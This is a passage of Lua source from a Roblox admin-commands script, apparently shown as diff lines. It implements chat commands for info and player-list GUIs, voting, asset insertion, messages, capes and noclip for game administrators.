- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- num = num +1
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text='Place version: '..game.PlaceVersion
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- num = num +1
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text='Script version: '..version
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- num = num +1
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text='Server Start Time: '..serverstarttime
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- num = num +1
- local cl = ent:Clone()
- cl.Parent = cmf
- coroutine.wrap(function()
- repeat
- cl.Text='Current Time: '..set.GetTime()
- wait(1)
- until cl.Parent==nil
- end)()
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- num = num +1
- local cl = ent:Clone()
- cl.Parent = cmf
- coroutine.wrap(function()
- repeat
- cl.Text='TimeOfDay: '..game:service('Lighting').TimeOfDay
- wait(1)
- until cl.Parent==nil
- end)()
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- num = num +1
- local cl = ent:Clone()
- cl.Parent = cmf
- coroutine.wrap(function()
- repeat
- local nonnumber=0
- for i,v in pairs(game:service('NetworkServer'):children()) do
- if v and v:GetPlayer() and not set.ChkAdmin(v:GetPlayer().Name,false) then
- nonnumber=nonnumber+1
- end
- end
- cl.Text='Non-Admins In-Game: '..nonnumber
- wait(1)
- until cl.Parent==nil
- end)()
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- num = num +1
- local cl = ent:Clone()
- cl.Parent = cmf
- coroutine.wrap(function()
- repeat
- local adminnumber=0
- for i,v in pairs(game:service('NetworkServer'):children()) do
- if v and v:GetPlayer() and set.ChkAdmin(v:GetPlayer().Name,false) then
- adminnumber=adminnumber+1
- end
- end
- cl.Text='Admins In-Game: '..adminnumber
- wait(1)
- until cl.Parent==nil
- end)()
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- num = num +1
- local cl = ent:Clone()
- cl.Parent = cmf
- coroutine.wrap(function()
- repeat
- cl.Text='Admin objects: '..#set.objects
- wait(1)
- until cl.Parent==nil
- end)()
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- num = num +1
- local cl = ent:Clone()
- cl.Parent = cmf
- coroutine.wrap(function()
- repeat
- cl.Text='Admin cameras: '..#set.cameras
- wait(1)
- until cl.Parent==nil
- end)()
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- num = num +1
- cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
- end
- if msg:lower() == "changeloggui" or msg:lower()=='changelogs' or msg:lower()=='changelog' then
- if plr.PlayerGui:findFirstChild(GuiName.."CHANGELOGGUI") then return end
- local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."CHANGELOGGUI" scr.Parent = plr.PlayerGui
- top.Text='Change Log'
- for i,v in pairs(changelog) do
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text=v
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,380,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- num = num +1
- end
- cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
- end
- if msg:lower() == "allplayers" or msg:lower()=='players' or msg:lower()=='playerlist' then
- if plr.PlayerGui:findFirstChild(GuiName.."ALLPLAYERSGUI") then return end
- local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."ALLPLAYERSGUI" scr.Parent = plr.PlayerGui
- top.Text='Player List'
- local function playerlist(p)
- num=0
- for i,v in pairs(set.GrabNilPlayers('all')) do
- if (v.Name:lower():sub(1,#p)==p:lower() or p:lower()=='all') then
- local cl = ent:Clone()
- cl.Parent = cmf
- if game.Players:FindFirstChild(v.Name) then
- cl.Text = v.Name..' ('..v.Name:lower()..') Ping: Pinging...'
- coroutine.wrap(function()
- repeat
- cl.Text = v.Name..' ('..v.Name:lower()..') Ping: '..set.Ping(v)..'s'
- wait(1)
- until not cl
- end)()
- else
- cl.Text = '(NIL) '..v.Name..' ('..v.Name:lower()..') Ping: '
- coroutine.wrap(function()
- repeat
- cl.Text = '(NIL) '..v.Name..' ('..v.Name:lower()..') Ping: '..set.Ping(v)..'s'
- wait(1)
- until not cl.Parent
- end)()
- end
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,380,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
- num = num +1
- end
- end
- end
- local b=Instance.new('TextBox',cmf.Parent)
- b.Size=UDim2.new(0,130,0,20)
- b.Position=UDim2.new(0,10,0,5)
- b.BackgroundColor3=set['SecondaryColor']
- b.BackgroundTransparency=set['Transparency']
- b.TextColor3=set['TextColor']
- b.TextStrokeTransparency=0
- b.Text=''
- b.ZIndex=15
- b.Font='ArialBold'
- b.TextScaled=true
- b.TextWrapped=true
- b.Changed:connect(function(o)
- if o=='Text' and (b.Text~='' or string.len(b.Text)>0) then
- cmf:ClearAllChildren()
- playerlist(b.Text)
- elseif o=='Text' and (b.Text=='' or string.len(b.Text)==0) then
- cmf:ClearAllChildren()
- playerlist('all')
- end
- end)
- local refresh = Instance.new("TextButton", cmf.Parent)
- refresh.Style = "Custom"
- refresh.Size = UDim2.new(0,20,0,20)
- refresh.Position = UDim2.new(1,-50,0,5)
- refresh.ZIndex = 10
- refresh.Font = "ArialBold"
- refresh.FontSize = "Size18"
- refresh.Text = "R"
- refresh.BackgroundColor3=set['PrimaryColor']
- refresh.BorderColor3=set['SecondaryColor']
- refresh.TextColor3 = set['SecondaryColor']
- refresh.BackgroundTransparency=set['Transparency']
- refresh.MouseButton1Click:connect(function() cmf:ClearAllChildren() playerlist('all') end)
- playerlist('all')
- end
- if msg:lower() == "version" then set.Message("PancakeAttacks Admin Commands", tostring(set.version), true, {plr}) end
- if msg:lower() == "admins" or msg:lower() == "adminlist" then
- if plr.PlayerGui:findFirstChild(GuiName.."ADMINSGUI") then return end
- local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."ADMINSGUI" scr.Parent = plr.PlayerGui
- top.Text='Admin List'
- for i, v in pairs(set['Owners']) do if v:lower() ~= set.nfs then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
- for i, v in pairs(set['Admins']) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
- for i, v in pairs(set['TempAdmins']) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
- cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
- end
- if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
- if plr.PlayerGui:findFirstChild(GuiName.."BANSGUI") then return end
- local scr, cmf, ent, num, top = set.ScrollGui()
- scr.Name = GuiName.."BANSGUI" scr.Parent = plr.PlayerGui
- top.Text='Ban List'
- local function banlistdisplay(p)
- num=0
- for i,v in pairs(set['BanList']) do
- if (v:lower():find(p) or p=='all') then
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = num.." | "..v
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- num = num +1
- end
- end
- cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
- end
- banlistdisplay('all')
- local b=Instance.new('TextBox',cmf.Parent)
- b.Size=UDim2.new(0,130,0,20)
- b.Position=UDim2.new(0,10,0,5)
- b.BackgroundColor3=set['SecondaryColor']
- b.BackgroundTransparency=set['Transparency']
- b.TextColor3=set['TextColor']
- b.TextStrokeTransparency=0
- b.Text=''
- b.ZIndex=15
- b.Font='ArialBold'
- b.TextScaled=true
- b.TextWrapped=true
- b.Changed:connect(function(o)
- if o=='Text' and (b.Text~='' or string.len(b.Text)>0) then
- cmf:ClearAllChildren()
- banlistdisplay(b.Text)
- elseif o=='Text' and (b.Text=='' or string.len(b.Text)==0) then
- cmf:ClearAllChildren()
- banlistdisplay('all')
- end
- end)
- end
- if msg:lower():sub(1,5)=='vote ' then
- if set['FilteringEnabled'] then return end
- coroutine.wrap(function()
- local chk1 = msg:lower():sub(6):find(" ") + 5
- local chk2 = msg:sub(chk1+1):find(" ") + chk1
- local plrz = set.GetPlayers(plr, msg:lower():sub(6, chk1-1))
- local Time=tonumber(msg:sub(chk1+1,chk2-1))
- local question=msg:sub(chk2+1)
- if Time > 60 then Time = 60 end
- local num=1
- local Yes=0
- local No=0
- local novote={}
- local voten=num
- for i,player in pairs(plrz) do
- coroutine.wrap(function()
- table.insert(novote, player)
- local Voted=false
- local gui=Instance.new('ScreenGui',player.PlayerGui)
- gui.Name=GuiName..'VOTE'
- local frame=Instance.new('Frame',gui)
- local yes=Instance.new('TextButton',frame)
- local no=Instance.new('TextButton',frame)
- local q=Instance.new('TextLabel',frame)
- local t=Instance.new('TextLabel',frame)
- frame.Position=UDim2.new(0,350,0,50)
- frame.Size=UDim2.new(0,300,0,200)
- frame.BackgroundTransparency=set['Transparency']
- frame.BackgroundColor3=set['PrimaryColor']
- frame.Draggable=true
- frame.Active=true
- yes.Position=UDim2.new(0,20,0,130)
- yes.Size=UDim2.new(0,100,0,50)
- yes.BackgroundColor3=Color3.new(0,85,0)
- yes.Font='ArialBold'
- yes.FontSize='Size14'
- yes.Text='Yes'
- yes.TextColor3=Color3.new(1,1,1)
- yes.TextScaled=true
- yes.TextWrapped=true
- no.Position=UDim2.new(0,180,0,130)
- no.Size=UDim2.new(0,100,0,50)
- no.BackgroundColor3=Color3.new(170,0,0)
- no.Font='ArialBold'
- no.FontSize='Size14'
- no.Text='No'
- no.TextColor3=Color3.new(1,1,1)
- no.TextScaled=true
- no.TextWrapped=true
- q.Position=UDim2.new(0,10,0,25)
- q.Size=UDim2.new(0,280,0,90)
- q.BackgroundTransparency=1
- q.Text=question
- q.Font='ArialBold'
- q.TextColor3=set['TextColor']
- q.TextWrapped=true
- q.TextScaled=true
- t.Position=UDim2.new(0,10,0,10)
- t.Size=UDim2.new(0,280,0,10)
- t.BackgroundTransparency=1
- t.TextColor3=set['TextColor']
- t.TextWrapped=false
- t.TextScaled=false
- t.Font='ArialBold'
- t.FontSize='Size14'
- t.Text='Time Left: '..Time..' second(s)'
- yes.MouseButton1Click:connect(function()
- Yes=Yes+1
- Voted=true
- gui:Destroy()
- for k,m in pairs(novote) do
- if m.userId==player.userId then
- table.remove(novote, k)
- end
- end
- end)
- no.MouseButton1Click:connect(function()
- No=No+1
- Voted=true
- gui:Destroy()
- for k,m in pairs(novote) do
- if m.userId==player.userId then
- table.remove(novote, k)
- end
- end
- end)
- for i = 0,Time do
- if voten == num then t.Text = "Time left: "..Time-i.." second(s)"
- else t.Text = "Voting Over!" wait(1) gui:Destroy() break
- end wait(1) end if gui ~= nil then gui:Destroy() end end)() end
- wait(Time+1)
- coroutine.wrap(function()
- if plr.PlayerGui then
- local gui=Instance.new('ScreenGui',plr.PlayerGui)
- gui.Name=GuiName..'RESULTS'
- local frame=Instance.new('Frame',gui)
- frame.BackgroundColor3=set['PrimaryColor']
- frame.BackgroundTransparency=set['Transparency']
- frame.Position=UDim2.new(0,400,0,50)
- frame.Size=UDim2.new(0,200,0,100)
- frame.Draggable=true
- frame.Active=true
- local nyes=Instance.new('TextLabel',frame)
- nyes.BackgroundTransparency=1
- nyes.Position=UDim2.new(0,10,0,50)
- nyes.Size=UDim2.new(0,70,0,10)
- nyes.Font='ArialBold'
- nyes.FontSize='Size14'
- nyes.TextColor3=Color3.new(0,1,0)
- nyes.Text='Number of Yes:'
- nyes.TextScaled=true
- nyes.TextWrapped=true
- local nno=Instance.new('TextLabel',frame)
- nno.BackgroundTransparency=1
- nno.Position=UDim2.new(0,120,0,50)
- nno.Size=UDim2.new(0,70,0,10)
- nno.Font='ArialBold'
- nno.FontSize='Size14'
- nno.TextColor3=Color3.new(1,0,0)
- nno.Text='Number of No:'
- nno.TextScaled=true
- nno.TextWrapped=true
- local qr=Instance.new('TextLabel',frame)
- qr.Position=UDim2.new(0,5,0,5)
- qr.Size=UDim2.new(0,190,0,35)
- qr.BackgroundTransparency=1
- qr.Font='ArialBold'
- qr.Text='Results For: '..question
- qr.TextColor3=Color3.new(1,1,1)
- qr.TextScaled=true
- qr.TextWrapped=true
- local yes=Instance.new('TextLabel',frame)
- yes.BackgroundTransparency=1
- yes.Position=UDim2.new(0,10,0,70)
- yes.Size=UDim2.new(0,70,0,20)
- yes.Font='ArialBold'
- yes.FontSize='Size14'
- yes.Text=Yes.." | "..set.Round(Yes/#plrz*100).."%"
- yes.TextColor3=Color3.new(0,1,0)
- yes.TextWrapped=false
- local none=Instance.new('TextLabel',frame)
- none.BackgroundTransparency=1
- none.Font='ArialBold'
- none.FontSize='Size14'
- none.TextColor3=Color3.new(70/255,70/255,70/255)
- none.Text=#novote.." | "..set.Round(#novote/#plrz*100).."%"
- none.Position=UDim2.new(0,65,0,70)
- none.Size=UDim2.new(0,70,0,20)
- none.TextWrapped=false
- local no=Instance.new('TextLabel',frame)
- no.BackgroundTransparency=1
- no.Position=UDim2.new(0,120,0,70)
- no.Size=UDim2.new(0,70,0,20)
- no.Font='ArialBold'
- no.FontSize='Size14'
- no.Text=No.." | "..set.Round(No/#plrz*100).."%"
- no.TextColor3=Color3.new(1,0,0)
- no.TextWrapped=false
- wait(10)
- gui:remove()
- end
- end)()
- end)()
- end
- if msg:lower() == "tools" or msg:lower() == "toollist" then
- if plr.PlayerGui:findFirstChild(GuiName.."TOOLSGUI") then return end
- local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."TOOLSGUI" scr.Parent = plr.PlayerGui
- top.Text='Tool List'
- for i, v in pairs(game:service('Lighting'):children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
- cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
- end
- if msg:lower():sub(1,4) == "ins " then
- coroutine.resume(coroutine.create(function()
- local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
- if obj and #obj:children() >= 1 and plr.Character then
- table.insert(set.objects, obj) for i,v in pairs(obj:children()) do table.insert(set.objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
- end
- end))
- end
- if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "cleargame" then
- for i,v in pairs(set.objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
- for i,v in pairs(set.cameras) do
- if v then
- table.remove(set.cameras,i)
- v:Destroy()
- end
- end
- set.RemoveMessage()
- set.objects = {}
- for i,v in pairs(game:service('Workspace'):children()) do
- if v:IsA('Message') or v:IsA('Hint') then v:Destroy() end
- if v.Name:match('Pancake Probe (.*)') then
- v:Destroy()
- end
- end
- end
- if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" or msg:lower() == "resetlighting" then
- set.lighttask=false
- wait(0.5)
- game:service('Lighting').Ambient = origsettings.abt
- game:service('Lighting').GlobalShadows = origsettings.gs
- game:service('Lighting').ShadowColor = origsettings.sc
- game:service('Lighting').Outlines = origsettings.ol
- game:service('Lighting').OutdoorAmbient = origsettings.oabt
- game:service('Lighting').Brightness = origsettings.brt
- game:service('Lighting').TimeOfDay = origsettings.time
- game:service('Lighting').FogColor = origsettings.fclr
- game:service('Lighting').FogEnd = origsettings.fe
- game:service('Lighting').FogStart = origsettings.fs
- end
- if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" or msg:lower()=="cgui" or msg:lower()=="cg" then
- coroutine.resume(coroutine.create(function()
- for i,v in pairs(plr.PlayerGui:children()) do if v.Name == GuiName.."CMDBAR" then v:Destroy() end end
- set.CmdBar(plr)
- end))
- end
- if msg:lower():sub(1,10) == "countdown " then
- local num = math.min(tonumber(msg:sub(11)),120)
- for i = num, 1, -1 do
- coroutine.resume(coroutine.create(function() set.Message("Countdown", i, false, game.Players:children(), 1) end))
- wait(1)
- end
- end
- if msg:lower():sub(1,3) == "tm " then
- local chk1 = msg:lower():sub(4):find(" ") + 3
- local num = tonumber(msg:sub(4,chk1-1))
- set.Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
- end
- if msg:lower():sub(1,2) == "m " then
- set.Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
- end
- if msg:lower():sub(1,2) == "h " then
- set.Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
- end
- if msg:lower():sub(1,5) == "info " then
- local plz = set.GetPlayers(plr, msg:lower():sub(6))
- for i,v in pairs(plz) do
- coroutine.wrap(function()
- set.GetPlayerInfo(v,{plr},'Player Info')
- end)()
- end
- end
- if msg:lower():sub(1,11) == "resetstats " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(12))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("leaderstats") then
- for a, q in pairs(v.leaderstats:children()) do
- if q:IsA("IntValue") then q.Value = 0 end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "gear " then
- local chk1 = msg:lower():sub(6):find(" ") + 5
- local plrz = set.GetPlayers(plr, msg:lower():sub(6, chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("Backpack") then
- local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
- for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end
- obj:Destroy()
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "sell " then
- local chk1 = msg:lower():sub(6):find(" ") + 5
- local chk2 = msg:sub(chk1+1):find(" ") + chk1
- local plrz = set.GetPlayers(plr, msg:lower():sub(6, chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- local type = msg:lower():sub(chk2+1)
- local t
- if type:lower()=='tix' or type:lower()=='tickets' or type:lower()=='t' then
- t=Enum.CurrencyType.Tix
- elseif type:lower()=='robux' or type:lower()=='rb' or type:lower()=='r' then
- t=Enum.CurrencyType.Robux
- else
- t=Enum.CurrencyType.Default
- end
- if v then
- game:GetService("MarketplaceService"):PromptPurchase(v,tonumber(msg:sub(chk1+1,chk2-1)),false,t)
- end
- end))
- end
- end
- if msg:lower():sub(1,4) == "hat " then
- local chk1 = msg:lower():sub(5):find(" ") + 4
- local plrz = set.GetPlayers(plr, msg:lower():sub(5, chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
- for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
- obj:Destroy()
- end
- end))
- end
- end
- if msg:lower() == "capelist" or msg:lower() == "capes" then
- if plr.PlayerGui:findFirstChild(GuiName.."CAPELISTGUI") then return end
- local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."CAPELISTGUI" scr.Parent = plr.PlayerGui
- top.Text='Cape List'
- local list = {"script","new yeller","pastel blue","dusty rose","cga brown","random","shiny","gold","pancake","epix","superman","swag","donor","starbucks","gomodern","admin","host","cohost","trainer","giovannis"}
- for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
- cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
- end
- if msg:lower():sub(1,5) == "cape " then
- local chk1 = msg:lower():sub(6):find(" ")
- local plrz = set.GetPlayers(plr, msg:lower():sub(6))
- local str = "torso.BrickColor p.Material='Fabric'"
- if chk1 then chk1 = chk1 + 5 plrz = set.GetPlayers(plr, msg:lower():sub(6,chk1-1))
- local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[") p.Material='Fabric']]
- if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller") p.Material='Fabric']] end
- if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue") p.Material='Fabric']] end
- if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose") p.Material='Fabric']] end
- if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown") p.Material='Fabric']] end
- if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random() p.Material='Fabric']] end
- if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white")p.Material='Fabric' p.Reflectance = 1]] end
- if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
- if msg:sub(chk1+1):lower() == "pancake" then teststr = [[BrickColor.new("Really black") p.Material='Fabric' local dec = Instance.new("Decal", p) dec.Transparency=0.2 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
- if msg:sub(chk1+1):lower() == "script" then teststr = [[BrickColor.new("White") p.Material='Plastic' local dec = Instance.new("Decal", p) dec.Transparency=0 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=151359194"]] end
- if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Institutional white") p.Material='Fabric' local dec = Instance.new("Decal", p) dec.Transparency=0.2 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
- if msg:sub(chk1+1):lower() == "epix" then teststr = [[BrickColor.new("Really black") p.Material='Plastic' local dec = Instance.new("Decal", p) dec.Transparency=0 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=149442745"]] end
- if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") p.Material='Fabric' local dec = Instance.new("Decal", p) dec.Transparency=0.2 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
- if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") p.Material='Fabric' local dec = Instance.new("Decal", p) dec.Transparency=0.2 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
- if msg:sub(chk1+1):lower() == "donor" then teststr = [[BrickColor.new("White") p.Material='Plastic' local dec = Instance.new("Decal", p) dec.Transparency=0 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=149009184"]] end
- if msg:sub(chk1+1):lower() == "starbucks" then teststr = [[BrickColor.new("Black") p.Material='Plastic' local dec = Instance.new("Decal", p) dec.Transparency=0.5 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=149248066"]] end
- if msg:sub(chk1+1):lower() == "gomodern" then teststr = [[BrickColor.new("Really black") p.Material='Plastic' local dec = Instance.new("Decal", p) dec.Transparency=0 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=149438175"]] end
- if msg:sub(chk1+1):lower() == "admin" then teststr = [[BrickColor.new("White") p.Material='Plastic' local dec = Instance.new("Decal", p) dec.Transparency=0 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=149092195"]] end
- if msg:sub(chk1+1):lower() == "giovannis" then teststr = [[BrickColor.new("White") p.Material='Plastic' local dec = Instance.new("Decal", p) dec.Transparency=0 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=149808729"]] end
- if msg:sub(chk1+1):lower() == "godofdonuts" then teststr = [[BrickColor.new("Institutional white") p.Material='Plastic' local dec = Instance.new("Decal", p) dec.Transparency=0 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=151034443"]] end
- if msg:sub(chk1+1):lower() == "host" then teststr = [[BrickColor.new("Really black") p.Material='Plastic' local dec = Instance.new("Decal", p) dec.Transparency=0 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=152299000"]] end
- if msg:sub(chk1+1):lower() == "cohost" then teststr = [[BrickColor.new("Really black") p.Material='Plastic' local dec = Instance.new("Decal", p) dec.Transparency=0 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=152298950"]] end
- if msg:sub(chk1+1):lower() == "trainer" then teststr = [[BrickColor.new("Really black") p.Material='Plastic' local dec = Instance.new("Decal", p) dec.Transparency=0 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=152298976"]] end
- if BrickColor.new(teststr) ~= nil then str = teststr end
- end
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
- set.LoadOnClient(v,[[local plr = game.Players.LocalPlayer
- repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
- local torso = plr.Character.Torso
- local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
- p.Transparency=0.001
- p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
- p.Size = Vector3.new(.2,.2,.2)
- local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
- local motor1 = Instance.new("Motor", p)
- motor1.Part0 = p
- motor1.Part1 = torso
- motor1.MaxVelocity = .01
- motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
- motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
- local wave = false
- repeat wait(1/44)
- local ang = 0.1
- local oldmag = torso.Velocity.magnitude
- local mv = .002
- if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
- ang = ang + math.min(torso.Velocity.magnitude/11, .5)
- motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
- motor1.DesiredAngle = -ang
- if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
- repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
- if torso.Velocity.magnitude < .1 then wait(.1) end
- until not p or p.Parent ~= torso.Parent
- script:Destroy()
- ]],false,'CapeScript')
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "uncape " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") and v.Character then
- for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "noclip " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v then
- set.LoadOnClient(v,[[
- game:GetService("RunService").Stepped:connect(function()
- pcall(function()
- game.Players.LocalPlayer.Character.Torso.CanCollide = false
- game.Players.LocalPlayer.Character.Head.CanCollide = false
- game.Players.LocalPlayer.Character.HumanoidRootPart.CanCollide = false
- if game.Players.LocalPlayer.Character:FindFirstChild('Head') then
- for i,v in pairs(game.Player.LocalPlayer.Character.Head:children()) do
- if v and v:IsA('Part') then v.CanCollide=false end
- end
- end
- end)
- end)]],false,'NoClip')
- end
- end))
- end
- end
- if msg:lower():sub(1,10) == "flynoclip " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(11))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v then
